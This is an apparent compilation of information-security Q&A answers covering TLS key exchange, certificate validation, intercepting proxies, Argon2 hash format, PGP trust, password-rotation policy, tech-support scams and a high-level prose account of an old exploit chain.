As Kevin points out, you also have the option of encrypting specific fields. For example, if you're storing a customer's username and credit card number, the latter definitely needs to be encrypted, but the former probably doesn't. You could include e.g. a CHECK constraint to ensure that you don't accidentally add an unencrypted credit card. Credit card numbers are a particularly good example of this, because you never need to do any sort of matching against them -- you only ever retrieve them from or store them to the database, so you can handle them efficiently from the client side.

However, note that good security is not one thing. Good security is doing everything right:

Analyzing your threat model to ensure you're guarding against the right threats
Using HTTPS for your whole website with valid, current certificates
Encrypting your database, one way or another
Encrypting the communication between your website and your database
Using SQL correctly to avoid SQL injection
Hardening your database server to protect it from attacks
Applying the principle of least privilege
And so much more.

However you handle your database, it's not the end of the road. Make sure you take care of everything.


Why did this attack use 0.0.0.0 as IP address and why did it work?

In the Internet Protocol Version 4, the address 0.0.0.0 is a
  non-routable meta-address used to designate an invalid, unknown or
  non-applicable target. To give a special meaning to an otherwise
  invalid piece of data is an application of in-band signaling.

  In the context of servers, 0.0.0.0 means "all IPv4 addresses on the
  local machine". If a host has two IP addresses, 192.168.1.1 and
  10.1.2.1, and a server running on the host listens on 0.0.0.0, it will be reachable at both of those IPs.

  In the context of routing, 0.0.0.0 usually means the default route,
  i.e. the route which leads to "the rest of" the internet instead of
  somewhere on the local network.

Wikipedia Article on 0.0.0.0

If I were to guess, as I have not done the challenge, but based off of the first link provided the exploit went something like this:

Exploit CVE-2003-0533 - shellcode to bind port TCP 1957 as a shell. (maybe the attacker knew this port wasn't blocked by a firewall?)
Commands executed from the shell to set up a reverse ftp connection to himself (in this case). Exposing this to the host via port 8884. Since the computer could have multiple IPs, 0.0.0.0 is a way to say "whatever interface the reverse connection worked on would accept this connection. A reverse connection may aid in bypassing firewall rules
FTP server is located on the other end of this tunnel, the commands that were executed logged into the ftp and downloaded the malware to the victim's PC for later execution.


I need to download and open an email attachment but how to check if it's safe before?

An online virus checker would be good. Some e-mail clients such as gmail automatically scan attachments for viruses. Alternatively, you could download, but not open the attachment and scan with a program like Avast! or some similar antivirus.

However, those scans can't possibly cover every single type of malware.

I would say, if you are expecting or have reason to suspect an attack from the attachment, either don't open it all or go with your Live Linux Distro Option if you must.


Browser rejects certificate, but openssl s_client works

...despite the fact that openssl s_client does not?

OpenSSL never checks the hostname against the certificate, but browsers do.

  ...openssl s_client -connect :443 ...

I see that you are using s_client with the IP address and not the hostname. Since you claim to have the proper mapping between name an IP address in your hosts file using the hostname should work too. If it does not, then you might have found the cause of the problem already, i.e. the wrong mapping.
Of course you must also use the hostname inside the browser, because (I assume that) the certificate is for the hostname and not the IP address.

Please make also sure that you don't have configured a proxy with the browsers because then the hostname is resolved by the proxy, i.e. not using the hosts file on your local machine.

If it works with s_client and the hostname but not with the browser and the hostname please check exactly the common name and subject alternative names section of the certificate. It must match the hostname given in the URL either exactly or based on the rules for wildcard matching if you have a wildcard certificate. A wildcard matches only a single label, i.e. *.example.com does not match foo.bar.example.com. And example.com is different from www.example.com. Note also that if you have subject alternative names the common name might be ignored (depending on the browser).

If you still have problems then add more details, especially
- The exact URL you use. Note that there is a difference if you use www.example.com vs. example.com.
- The certificate you see in the browser, especially the common name and the subject alternative name part. And compare this with the certificate you get from s_client and which you consider as correct.


Using RSA-SHA as/instead HMAC in OpenVPN?

Looking at OpenVPN's source code, this appears to be a cosmetic quirk of OpenSSL.

When using --show-digests, OpenVPN calls OpenSSL's EVP_get_digestbynid() with, as parameter, all integers from 0 to 999. For some of these values, EVP_get_digestbynid() returns a non-NULL pointer that identifies the corresponding hash function implementation, and then OpenVPN prints out the corresponding name.

It so happens that with ID = 64, you get a structure that implements SHA-1, and the name corresponding to the ID value 64 is "SHA1". However, with ID = 65, you get the exact same structure (same pointer in RAM), i.e. the very same implementation of SHA-1. But the name corresponding to the ID value 65 is "RSA-SHA1".

When you use --auth, the same applies: OpenVPN uses the EVP_get_digestbyname() on the provided string. With "SHA1", you get a pointer to the structure that implements SHA-1. With "RSA-SHA1", you again get the exact same pointer value.

In other words, you see some "alternate names" with some RSA or ECDSA but that's just a consequence of how OpenSSL names things, and if you use these names you just obtain the underlying hash function (to be used in HMAC) and nothing more. Thus, --auth SHA1 and --auth RSA-SHA1 are completely equivalent.


How to verify a signature against a 3rd-party keyring without any trust anchor?

If there is no trust anchor into the Debian keyring (or any other group, but let's stick to the Debian example here), you have no chance of verifying anything.

Faking Whole Networks/Keyrings

It is easily possible to replicate the full Debian keyring with all it's user IDs and signatures issued, it will look totally legitimate while being completely made up. Pagerank will return the exactly same results for both networks. In the end, this is pretty much was evil32 did on the whole OpenPGP strongly connected component to showcase short key ID collision attacks.

Certificate Authority Root Certificates

This is a general problem of certification systems, you always need a trust anchor. For X.509 (as used for TLS and S/MIME), certificate authorities are used whose certificates are declared as trusted in the browsers and operating systems. For OpenPGP, you'll have to go out and find a trust anchor on your own. For the Debian keyring, going to a Debian user meetup or Free Software conference is a good start, you'll meet a whole bunch of people in the keyring there.

Trust on First Use

For the general case and when the keys have already been used for signing stuff you're already using for quite some time, you could also apply "TOFU" (trust on first use): it is unlikely that somebody was able to fake the Debian keyring (or even only some keys of them) in lots of different sources. Have a look at the Linux installation you have -- there is a keyring inside (pretty much all Linux distributions use GnuPG and OpenPGP to verify software in their packet manager). Grab some copies or computer magazines with Linux distributions inside in different stores. Use different internet connections in different places to fetch the keyring. If you always find some of the keys, very likely they actually belong to the Debian keyring (or similar keyrings). This does not verify individuals, but at least it verifies the membership of that key in the keyring to a given degree.


This route:

10.0.4.0        192.168.0.1     255.255.252.0   UG    0      0        0 tun0

With .252.0, you've got a range between 10.0.4.1 and 10.0.7.255
So when you hit IP's in 10.0.8.1, you'll start using your default route 0.0.0.0 which is a different gateway.

Check me to be sure, but based on that bitmask, I think that's what you're seeing.

http://www.ip-tools.net/ipcalc

Might double-check me though.


Does this case fit the definition of a replay attack?

A replay attack is sending the same packet more than once. Ie: charging your visa 10 times or resending authentication from a different source. What you describe is session hijacking or more specifically "sidejacking".


Why can't I decrypt SSL traffic with the client's private key only?

This is because in an SSL/TLS connection the asymmetric key exchange uses the server's public key to exchange the pre-master secret.  A client certificate is only used for client authentication if the server requests it.  The pre-master secret is what's used to generate the session keys.  This is why you need the server's private key, not the client's.

Typical SSL/TLS Key Exchange:

Notice how in the above exchange only the server sends its certificate.  The client key exchange message is the pre-master secret encrypted with the server's public key.

SSL/TLS Key Exchange w/ Client Authentication

In the above exchange we see that after the server sends its certificate it also provides a CertificateRequest message.  This message asks the client for its public certificate.  It responds with the ClientKeyExchange message as it does in a typical handshake, and then sends a ClientVerify message which signs the hashed key exchange data.  The server then uses this signature to verify the client.

The client or server never uses the client's public key to encrypt any information in the handshake.  Therefore it is not necessary for session decryption.


Where to check if a specific OS / service is vulnerable despite being patched, because of a vendor's decision?

This is exactly what vulnerability scanners do. They just aren't great at it (none I've ever seen detect ALL unsupported software, and I doubt they will any time soon!).

Generally all vendors have their own way of disseminating this information - if they do at all - which is a major pain for asset owners and security specialists. For vulnerabilities themselves I find CVE's to be a great resource (through the NVD website for example) but it does not cover support. I'm not aware of a central repository for this information.

the CVE Details  website is great resource for searching specific version numbers for known vulnerabilities. However in this context "unsupported" is not one of them.

One example I can think of here about "vendor decision" is CVE-2015-0008/MS15-011 which remains unpatched on Server 2003 even though it was supported at the time.


How does SSL Proxy server in company work?

I've never seen SSL warning in company

Did you verify that SSL interception is done at all? See How do I check that I have a direct SSL connection to a website?.

  So how does they intercept trafic without browser warning?

A SSL intercepting proxy creates a SSL connection between the proxy and the original target server and another SSL connection between the proxy and the client. The latter connection will use a certificate signed by the proxy CA. Insofar it is a classic SSL man in the middle attack and the only difference between the attack and the "legal" interception is that the client system has explicitly trusted the proxy CA and thus it will also trust the certificates signed with the proxy CA.

  I doubt that they install trusted certificates from their proxy into the OS (because browsers may use different certificates store, Firefox has it's own for example).

If you have different CA stores for the different browsers you would need to import the proxy CA into all of these.

  If a host wants to go to "https://google.com", the hostname into the certificate will be that of the proxy , not google

No. The subject of the certificate will be the original hostname (i.e. google.com). But this certificate will be signed by the proxy CA and not the original CA. And since the client trusts the proxy CA and the hostname matches the certificate no warnings will occur.


Is one more secure than the other. I have heard that it is difficult to get FTP to downgrade protocols. So is the implementation of SSL onto FTP more secure than through FTP?

FTP over SSL should have in theory the same security as HTTP over SSL. But in practice this is probably not the case:

HTTPS is most often used in Browsers. To deal with broken servers browsers implement SSL downgrading if the connection fails. Note that this behavior is not inherent to HTTPS, but to a specific implementation inside the browsers. HTTPS implementation outside the browsers usually don't to SSL downgrades and instead fail on the first error, as do SSL implementation in FTPS clients.
FTPS is not widely used. And if it is used then often with self-signed or otherwise broken certificates (like missing chain certificates, mismatch of hostname...). FTPS clients tend to either ignore certificate errors or let the user easily continue without proper validation. Some even do not check the certificate at all or do incomplete checks (like not checking the name in the certificate). In contrast browsers today often present warnings on certificate errors which are hard to bypass. Other applications using HTTPS instead often have the same problems as FTPS clients, but slowly they implement at proper checks which are enabled by default.
FTPS has several grades of security. The best mode is to encrypt control and data channel, but this can conflict with protocol helpers on middleboxes (like firewalls or NAT routers) which need to check or rewrite responses to PASV/EPSV or the PORT/EPRT commands, so that the necessary ports can be opened on the middlebox. Thus FTPS can downgrade the control connection from SSL to plain again (with CCC command) and from then on all traffic on the control connection is no longer encrypted. This opens the way for man-in-the-middle attacks which might even try to downgrade the data channels to plain text by returning an error code to the PROT P command which is used to setup an encrypted data channel.

In summary I think HTTPS is more secure in practice, even if browsers downgrade SSL protocols on errors.


How important is it to use a large encryption key for SSL certificate?

"Anything may be crackable given enough time and resources."

Here is a good article that explains the differences of key size. Now imagine you exaggerate and create a 8192 key can it be cracked? Likely not. Are you safe? This all depends on the security of the system. If someone can compromise your machine and steal the key you made, the encryption strength is a moot point.

Considerations to take when asking a question like this would be to think as an attacker would.

Can I crack this (likely not)
How long would it take?
How much would it cost me (wasted time+resources)?
What would I gain putting in all this time, effort, and resources?

It is far cheaper to try and compromise the key, system, and or organization to get the key (install a keystroke logger, etc) than it is to try and brute force it.

When it comes to encryption, a lot of focus is spent on "can it be cracked" which is often a moot point when you think about the other factors. "Can this 16384 bit key be cracked on this insecure system." While it may not be cracked, it does not take away from the fact that other often overlooked factors may yield the key without the need to crack it. When someone performs penetration testing, if they can, they always copy SSL keys, screenshot them, then explain the dangers of not securing the key.
Analogy:

  You are a billion dollar bank. You buy the biggest baddest safe on the planet... and You leave the key right next to the vault.


Difference between Lynis and Nessus and yet another hardening tool

Author of Lynis here. Nessus is vulnerability scanning, Lynis is system auditing with some overlap in vulnerability discovery.

I'm curious why you want to start a new project. So let me answer by sharing some background about the Lynis project: The project is almost 10 years old. It got a lot of iterations to improve the tool to where it is now. More importantly, it is still open source and receives regular updates. The amount of work that goes into an open source project can be overwhelming. Especially keeping it up-to-date, the questions your users will ask, the promotion needed, etc. etc. I'm the first to say "go write your own", but I learned along the way that the maintenance burden is a serious one to consider.

So let me rephrase the question above: why not become part of the ecosystem and contribute, create add-ons, join efforts?

If you like, I happily make time available to discuss (by email, chat, or even phone). The world needs quality (the best possible tools), not quantity (many average tools) :)


What additional paperwork would be needed to get from EAL4 vertification to EAL7?

This is specific to the kind of product, who the evaluation is doing and who should the evaluation accept at the end, i.e. there is no generic answer apart from Wikipedia: EAL7. You better talk to the parties who did the EAL4 evaluation for you and already know lots of details of your product for how to achieve EAL7 with this specific product.
In general EAL7 is much harder too achieve than EAL4. It comes with requirements like formal verification which are simply not doable currently for more complex software systems.


Why Adobe is recommending McAfee security scan during flash player installation?

It's an affiliate thing. Adobe get paid to promote McAfee's anti-malware software. You have nothing to worry about in terms of security, it's just a marketing trick to get you to buy an AV.


user data accessible through javascript in browser

This is a moving target, as there is a cat-and-mouse game as attackers discover new techniques and browsers implement new defences. In general, JavaScript:

can access config information about your browser and plugins. The site you linked seems to be a good summary of the current techniques.
cannot access your local files, at least, unless you explicitly drag and drop a file (or use a file upload field). Nor can it access your address book.
can only access cookies (and HTML 5 local storage) from its own domain, not others.
can sometimes see your web history, using CSS history sniffing. This leak is largely fixed in newer browsers, but some subtle issues remain.
can load resources (e.g. images) from other sites. It can't access the content (unless it's an explicitly allowed cross-domain request).
cannot access JSON data from other sites. This used to be possible using JSON Hijacking but modern browsers have fixed this.
can tell how long a resource takes to load. This can be abused to tell if a user is logged in to a particular site, and even if they have any messages that match a particular search string.
can exploit vulnerabilities (e.g. cross-site scripting, cross-site request forgeries) on other web sites, and against the web browser itself.
can perform computations for the site owner, using the client's computer e.g. BitCoin mining.

An interesting related question is what can content like Java, Flash and PDF do? My knowledge runs out here, but I do know that a PDF file can print a document with no user interaction. Quite surprising - a fully patched 2014 browser allows an untrusted website to automatically print!

If you want to know the full story, read The Browser Security Handbook.


How to authenticate to racoon with a certificate chain if only the root CA is known

In IKE v2, it is possible for any machine to send several certificates, its own and a number of "helper certificates" which could help with validation, i.e. intermediate CA certificates. The standard states that:

Implementations MUST be capable of being configured to send and
accept up to four X.509 certificates in support of authentication,
and also MUST be capable of being configured to send and accept the
Hash and URL format (with HTTP URLs).  Implementations SHOULD be
capable of being configured to send and accept Raw RSA keys.  If
multiple certificates are sent, the first certificate MUST contain
the public key used to sign the AUTH payload.  The other certificates
may be sent in any order.

so it should work, as long as you can convince your tools (racoon) to send the certificates. The standard is there.

The standard alludes to the possibility of sending, on the wire, not an X.509 certificate alone, but a PKCS#7 file. A PKCS#7 file is really a large and flexible format, but often used as a container for multiple certificates (but it does not contain the private key). It may be worth a try to use such a file with your certificate_type clause (in racoon.conf).


A site supports Public key length of 256 bits while best practice is 1024+ - what does this mean?

It's an up-to-date website using elliptic curve cryptography (ECC). ECC key sizes are not directly comparable with RSA, and a 256-bit key is more than enough for security -- 112-bit is the most that has ever been cracked. It's equivalent to a 3072-bit RSA key.


Is this a SQL injection attack or is it some sort of bug?

This is the result of someone trying to exploit an SQL injection on your site. Someone tried to detect if your website was vulnerable to a union-based injection. For all the records that you see, it doesn't seem to have worked.

You should check your access and error-logs for the affected timespan to see if any further requests were made.

One suspicious thing I noticed is that I don't see any entries containing double quotation marks (") which might indicate that they broke the functionality of the site or an injection using double quotation marks worked against your site.

You might want to check the relevant source code to see if proper sanitization of parameter values was done. This could also be explained if some other part of your setup blocked requests with double-quotation marks or injections with them were just not attempted.


How Can You Define a Custom Path to Nmap Resources?

I have since found the answer to this question.  In any Nmap command, you can add the --datadir argument in order to supply a custom location for the Nmap data.  You can find the required files here: https://svn.nmap.org/nmap/

ex: nmap --datadir ~/nmapdatafolder localhost

https://nmap.org/book/data-files-replacing-data-files.html


Storing NetworkCredential in SQL database

Not sure if there is a better way, but this is how I would do it. I think it is similar to what you describe in the question.

Store the network credentials encrypted with a key that is derived from the users password, e.g. using PBKDF2). (If you also store password hashes for authentication, use a different salt so they are not identical.) That way, if your  database is compromised the network credentials will still be relatively safe.
To make the network credentials available without password reentry, I would encrypt them with a random key and store the encrypted value (but not the key) in a separate table. The key I would send as a cookie (with appropriate time out) to the user. That way, if your database is compromised the network credentials are still safe because the key is not there.
Note that I would use a cryptographically secure random key, and not something related to the user, password or session ID.
Remove entries from the table as soon as the session times out or a user loggs out.

The backside of this is off course that a user that can steal the cookie can decrypt the network credentials. But this will be a problem for any system where password reendry is not required - someone who could steal the session cookie would be able to appear as logged in anyway. So I think that is a drawback with not requiering password reentry, and not with this particular solution.

Disclaimar: This is not my area of expertece so you might want a second opinion on this.


Is it possible to assign different UIDs to subkeys for the purpose of having multiple identities?

Consider a single primary key to be equivalent to one identity.

You cannot connect subkeys to user IDs. Both subkeys and user IDs are attached to the primary key, the only connection from user IDs to subkeys is through the primary key.

If you want to select different subkeys for different machines (for example at home and at work), this is easily possible for signing (simply only put one signing subkey on each machine), but again it would not be connected to a specific user ID (but to the primary key).

For encryption, there is no such way, a sender's OpenPGP implementation will usually just choose the newest key (and maybe offer a choice to select a specific key).

Use multiple cross-signed primary keys instead, if you want to separate concerns.


Multiple devices authorization with refresh tokens

In the scenario presented, you can grant the user distinct tokens for each authenticated device, and each such device would have its own unique identity. In this way, you would be applying that "one-per" limit to users and devices rather than to users alone so they can authorize multiple devices.


Which part of this encoded Argon2 hash is the salt?

$argon2i$v=19$m=65536,t=3,p=1$YOtX2//7NoD/owm8RZ8llw==$fPn4sPgkFAuBJo3M3UzcGss3dJysxLJdPdvojRF20ZE=

argon2{i} three types i,d,id

Argon2d is faster and uses data-depending memory access. Data dependency immediately enables side-channel. This is suitable for cryptocurrencies and applications with no threats from side-channel attacks.

Argon2i uses data-independent memory access and this is preferred for password hashing and password-based key derivations.

Argon2id In the first half of the first iteration works as Argon2i and for the rest works as the Argon2d. This enables both side-channel protection and time-memory trade-off.
And if you don't know the difference or you consider side-channel attacks as viable threat use Argon2id.
Better advice Use Argon2id unless you know you have a good reason to use any other mode by MechMK1

v=19 - v for version, here version is 19

m=65536 - m is the integer representing the variable memory cost,  in kibibytes here 65536 kibibytes.

t - is the integer representing the variable timing cost in linear iteratrion, here 3.

p=1 - p is the parallelization mechanism to control the amount of parellization

salt - here YOtX2//7NoD/owm8RZ8llw==

digest - here fPn4sPgkFAuBJo3M3UzcGss3dJysxLJdPdvojRF20ZE=

Split with $ sign, the last token is the digest and the one before the last token is the salt.

Note: Argon2 is a key derivation function that was selected as the winner of the Password Hashing Competition in July 2015. The Specs paper;

Argon2: the memory-hard function for password hashing and other
applications


Unique human view count system without captcha on Pay Per click system, using cryptographic proof of work

Anything what the browser can do without human intervention can be automated. This might be done from outside by looking at the code or one might simply control the normal browser with Selenium or similar tools.

Since you will pay users for visiting the page the chances are high that somebody likes to earn easy money and will automate the visits.


Are the details about the Widevine bug now public?

From reading the linked article the way they phrase the sentence regarding the disclosure appears that they're talking about full public disclosure, however after a few searches I couldn't find such a thing, no paper, nothing.

The article states the below, personally, the way I read that is after 90 days they will release a full public disclosure.

  The researchers say the bug is very simple but won't reveal details about it until at least 90 days after their disclosure to Google, since they don't want to provide anyone who doesn't already know about the vulnerability with information that would allow them to steal movies. - Wired 26/06 - Bug in Chrome makes it easy to pirate movie

It then goes onto say

  Ninety days is the minimum that Google's own security researchers in its Project Zero project give vendors to fix vulnerabilities they uncover before they disclose the bugs publicly. Wired 26/06 - Bug in Chrome makes it easy to pirate movie

Which furthers my idea that they meant public disclosure, however, as I stated other than a few blogs from a guy not linked/related to David Livshits and a whole bunch of news articles, plus a bug note from Google I do not see any "public disclosure" here.

It's very likely this comes down to phrasing or poor research on the journalists part. The problem with this article you're using as a reference is, it's published by a journalist, a journalist that might not even specialise in InfoSec or anything related to this field, you have to take articles like this with a pinch of salt - E.G don't trust their word on everything. (Perhaps research into the journalist a little and see if they're credible, etc)

From my point of view, as I couldn't even find a paper, I would put this down to the fact that the journalist simply didn't know, thus they based the "after 90" days off the second quote I referenced from the post.

I would not bother trying to get a response from Wired, they probably will not answer and even if they do I doubt they will actually know the answer you're looking for if they did they would have most likely mentioned the paper in their article. Your best chance of finding out whether or not public disclosure will ever be released/if it's been released would be to contact one of the researches involved in the project, they will know better than anybody else about their intentions for public disclosure (if any) for obvious reasons, if it helps the research was based out of Ben-Gurion University of the Negev in Israel so perhaps a good start would be to see if you can find a contact there.


Does MITM refer to what you do in the middle or how you get there?

A MiTM attack refers to the high level concept of intercepting traffic from host A, reading it, and/or modifying it, and then sending it to the original destination B, as if A sent it.

The techniques to accomplish this are an entirely different matter.  It might entail ARP poisoning, physically tapping a line, DNS attacks, sniffing wireless traffic, or even secretly stealing a briefcase of secret documents carried by a courier.


Are there any benefits if you encrypt the home folder in a VM?

Almost anything you do with physical machines would apply to VMs too. Well almost could apply here too.

  If you are using a physical machine, doing this makes perfect sense because you could detach the hard drive, connect it to another machine...

Your VM Harddrive is just a file on your disk and can be taken out, attached to another VM and used.

So if you're using your VMs to store sensitive data (I don't), and if your threat model needs protection of data at rest, then you would want to encrypt your VM disk and/or VM home folder encrypted.

PS: All my VMs are disposable. I maintain a few VM templates that I apply all updates to; and keep my tools / software sorted. Depending on what I want to, I clone a template and spin up a new VM. I then attach my "encrypted data disk" to the VM, use it and when done, get rid of the VM.


I've found security vulnerability in current linux distribution. What next?

To report a security vulnerability in an Ubuntu package, please file a
  bug, or contact security@ubuntu.com.

http://www.ubuntu.com/usn/


There are recommendations to change passwords regularly mostly out of mindless repetition of a poorly understood practice from much older times in a different context.

Initially, passwords were something for the military; every single fort or camp used a "password" that soldiers had to know in order to enter the camp. We have indications that such a system was generalized in the Roman army, more than 2000 years ago.

Since such a password was, by construction, known to several people (at least the guards at the camp entrance, and every soldier who had business outside of the camp, e.g. to go fetch wood or water), and also uttered regularly and thus possible prey to spies with good ears, it was assumed that such a password would not remain secret for long. In fact, one could rationally expect that at any time, some enemies would know the passwords. The passwords were just a mitigation feature meant to delay covert entrance by enemies, rather than a reliable way to block them. The effectiveness of a given password steadily dropped over time, within a few hours, and thus had to be renewed daily.

Then the context changed. Nowadays, you use your password to authenticate yourself on a computer. There still are enemies, and they still want to learn your password. However, a very important part of the situation has changed a lot: you are, by construction, the only person who knows your own password. This is the normal, expected situation. On average, there is no leak at all. Your password is not shared. Therefore, the effectiveness of your password, which really is its secrecy, does not decrease over time -- it may drop to zero if the attacker succeeds at learning it, but as long as this does not happen, the password is as good as new.

Another context property which changed a lot is what attackers do when they learn a user's password. In the old Roman camp setup, the attacker would enter the camp, roam about it to try to gather intelligence (e.g. by listening around the centurion's tent), and possibly indulge in some casual sabotage, such as setting fire to supplies. This takes time. In a whole night, a spy can do some substantial damage, which is why there were extra mitigation features (other sentinels, rules against loitering within the camp, curfew, and so on). The regular password renewal forces the attacker to reacquire the new password while he tries to spread havoc. In our modern computer world, things don't go that way. The attacker will plunder your files and accounts, read and send emails, and generally enact his mischiefs within a few seconds because all of this can be automated to a great extent.

Forcing frequent user password renewal is a common practice of sysadmins, but it is misguided. Forcing your users to change their passwords every 42 days (that's the default value in Windows / Active Directory) makes sense only if we assume that the two following properties hold:

On average, at any given time, a non-negligible proportion of user passwords are known to evil outsiders.
Attackers loiter in the systems for weeks, and forcing a password renewal is a substantial hindrance to their nefarious schemes.

In reality, neither property holds. The forced password renewal, thus, does not yield its alleged benefits.

On the other hand, forced password renewal weakens security:

Users must generate and remember new passwords, which is harder, and promotes behaviours which are detrimental to security, such as writing the passwords down on pieces of paper, or sharing the passwords with colleagues.
The rate of "forgotten passwords" will be higher, increasing the workload of help desks. These, in turn, will react by lowering their identification standards, making them more vulnerable to social engineering.
Users will not like it, and they will be more inclined to see the sysadmin as a control freak, to be avoided or circumvented, rather than a helpful friend whose warnings should be heeded. Most of practical security relies on voluntary cooperation from the user base, and any unexplainable constraint on their daily work will severely damage their willfulness to cooperate.

To sum up, there are recommendations about password change out of misguided tradition. It is one of the myths which float around in the field of IT security, because sysadmins are people, and like all their other fellow humans they prefer to apply so-called "best practices" rather than making the effort to sit down and think.

The problem is inflated by how innovation is rewarded: in the field of security, innovation is tracked down, pursued, cornered and ignominiously slaughtered. If a sysadmin does "what everybody else does" and a problem occurs nonetheless, then he will not be blamed. However, if a sysadmin does a smart but novel thing, then he cannot expect any thanks; in fact, if an attack succeeds despite the novel system, the innovator will become the scape goat for the whole business.

You can read some other opinions on this subject in this past question.


Why is change cipher spec an independent protocol content type and not part of Handshake Messages?

SSL uses messages which are encoded over records. Encryption is done on a per record basis. However, several messages of the same type (e.g. handshake messages) can be crammed together in the same record. Since the Change Cipher Spec message modifies encryption settings, a new record should begin immediately afterwards, so that the new settings are immediately applied (in particular, it is crucial for security that the Finished message uses the new encryption and MAC).

Using a specific record type for Change Cipher Spec is a way to enforce this property. An SSL/TLS implementation cannot help but begin a new record for the Finished message, since it uses a record type distinct from that of the Change Cipher Spec message. Such a specific record type could be avoided if all SSL/TLS implementations were disciplined enough to begin a new record where they need, and also to verify that the peer also began a new record. It is safer and more robust to make it unavoidable through the record type.


Why is the subject's public key not used for encryption in SSL?

There are several reasons for this. The main one is performance: asymmetrical encryption is SLOW.

In addition, many such algorythm have a fixed maximum size for the data they can encrypt (RSA, as defined in PKCS#1, has a maximum of 245 bytes for commonly used key size).

Also, you cannot implement forward security this way: anyone obtaining a copy of the private key will be able to decrypt any past message.

Finally, there is simply the fact that it is more flexible to negotiate the encryption scheme that to force it to use the one that was used to sign the certificate.


Your public key can be 'signed' by any other private key you like. However, your recipient's issue will be how to trust the signer i.e. the burden of trusting your public key's origin has now shifted to the burden of trusting the signer's public key origin so not much have changed.

A 'CA' is a vague term. If you mean a SSL chain CA (as in browsers certification authority) then various CA's have their public key hard coded into the browser on installation and this removes the need to verify the signer's public key with a third party. PGP and similar encryption schemes don't work like this for a host of reasons but mostly because signing individual keys would be prohibitively complex and restrictive (think how complex/long the process is to have a signed SSL cert for a website for example, now multiply this with all of the PGP certs out there!)

PGP cert trusting working on a web of trust i.e. the recipient needs to have some 'trusted' public keys pre installed on their keychain that have been marked as trusted by them usually by some side channel (phone someone up and check the key fingerprint for example). If your recipient does not have a trusted public key for someone you are using to sign your public key then they need to check the key with you by some other channel e.g. calling you and asking you to identify it by fingerprint etc. or to download it from a trusted third party keystore where the keystore has a verification mechanism.

So, get your public key signed by as many trusted keyholders as you can and hope your recipient has a trusted corresponding signed public key, or call them for the first key install into their keyring and confirm the fingerprint. Once installed and trusted on their keyring you are good to go without further trust issues.


Is this cross-site password model secure?

It was vaguely strong until you published your mechanism. Now, if someone manages to get hold of your base password and a hash, they only need to try about 6500 passwords to crack it - i.e. ~100 printable characters per position, with ~65 positions.

Not only that, but it's clear that you "keyboard hammered" in order to generate the base password, which means there will be statistical correlations that make discovering the base easier.

If you're storing the base password in a secure manner, there's no reason why you can't just store a full set of unique passwords in a secure manner. Invest in a password manager such as KeePass and your life will be a lot easier. Heck, it's way easier to remember a single strong password than it is to remember a whole score of offsets and alterations!


The issue of "sending" the card to the merchant is a little complicated. The cardholder may be allowed to "send" the card in ways that the merchant is not allowed to accept.

Compliance with PCI requirements is part of the contractual relationship a merchant enters into with a bank, called an acquirer, in order to be able to accept credit card payments.

PCI requirements include language both about PANs "at rest" (storage) and "in transit" (transmission). The ways that a merchant allows customers to provide their credit card number are subject to both at rest and in transit PCI requirements.

IOW, PCI dictates how a merchant may legitimately accept cards for payment.

For the cardholder- they have an agreement with their bank, called an "issuer"- the bank that offers them a credit line and sends them a card in the mail. Deep in the contractual terms of service that the cardholder agrees to with the issuer is language about keeping the card number secret.

The merchant-side rules are much more strict than the cardholder side rules, for reasons that have to do with risk and scale and business model.

In practical terms, for instance, a merchant is not able to advertise that they accept card numbers over email, as email is a protocol that does not comply with PCI. If a merchant receives a card number in an email, they have to purge that email from their email systems. PCI auditors ask about workflows like this in their reviews.

When I last looked, cardholder agreements did not expressly forbid sending a card number over email, though that may have changed, but in general the rules are much less explicit, and it's pretty rare for the card issuer to revoke a card from a cardholder for reasons that do not involve fraudulent spending or lack of payment. Cardholder casual misuse of a card number, leading to a replacement card is a standard workflow for issuers.


Wife was conned into allowing her computer to be hacked, what do I do?

See the FTC page on Tech Support Scams:

In a recent twist, scam artists are using the phone to try to break into your computer. They call, claiming to be computer techs associated with well-known companies like Microsoft. They say that they’ve detected viruses or other malware on your computer to trick you into giving them remote access or paying for software you don’t need.
These scammers take advantage of your reasonable concerns about viruses and other threats. They know that computer users have heard time and again that it’s important to install security software. But the purpose behind their elaborate scheme isn’t to protect your computer; it’s to make money.

They document this class of scam thoroughly, and the page includes good information on how to act effectively in the event that you have already fallen victim. I have mirrored the content of that section below, but show your wife that page so she doesn't feel stupid.

If You’ve Responded to a Scam
If you think you might have downloaded malware from a scam site or allowed a cybercriminal to access your computer, don’t panic. Instead:

Get rid of malware. Update or download legitimate security software
and scan your computer. Delete anything it identifies as a problem.
Change any passwords that you gave out. If you use these passwords for other accounts, change those accounts, too.
If you paid for bogus services with a credit card, call your credit card provider and ask to reverse the charges. Check your statements for any other charges you didn’t make, and ask to reverse those, too.
If you believe that someone may have accessed your personal or financial information, visit the FTC’s identity theft website. You can minimize your risk of further damage and repair any problems already in place.
File a complaint with the FTC at ftc.gov/complaint.

I can't speak to the efficacy of this, but I do recommend pursuing that last bullet: file a complaint.
Filing a complaint enables them to provide all interested and capable bureaus with critical information needed to at least defer future scams by the same attacker, e.g. if a U.S. phone number was provided then the FTC (or more likely some other bureau) will probably be able to seize the number and ensure that it cannot be used again for this purpose. I doubt the attacker is based in the States, but if they are then further justice might even occur; if not, that would probably be the extent of justice served on this.
All of that said, the FTC is a good agency; they do what they can. Hit them up for sure.


Proof of SIM card possession on iOS devices

I believe Ericsson were working on something similar to this. I'm not sure how far they have progressed, nor how easy or expensive it is but maybe worth being aware of.

https://labs.ericsson.com/apis/identity-management-framework/

All I've seen is some nice video slides showing how the framework would work to allow you to authenticate people based off their SIM. It uses something called Generic Bootstrapping Architecture to check the authenticity of a SIM/IMEI combination. If the iPhone doesn't support it at the moment, it should do in the future as it is a 3GPP standard.

http://en.wikipedia.org/wiki/Generic_Bootstrapping_Architecture

Sorry if this isn't the sort of thing you're looking for.


The most problematic part with Java is that it offers a way to sandbox code for restricted execution but that this protection could often be bypassed in the past. Thus the main problem is the use of Java in scenarios where this sandbox gets used, which is mainly in the browser. When used instead with standalone applications and not applets the security of Java is similar to that of other programming languages which mostly don't even offer such sandbox facility.

If you make sure that Java is not usable as a plugin by any browser on your system it is as safe to use as other languages, i.e.  similar to applications written in C/C++/C#/whatever these standalone Java applications will have full access to everything your user account has. This means you have to still watch out where you get your application from and what it does, but you don't have to take special precautions just because this is a Java application.

For further information you might look at the discussion Why do I hear about so many Java insecurities? Are other languages more secure?.


ZX Spectrum tape loader: how was copy prevention implemented?

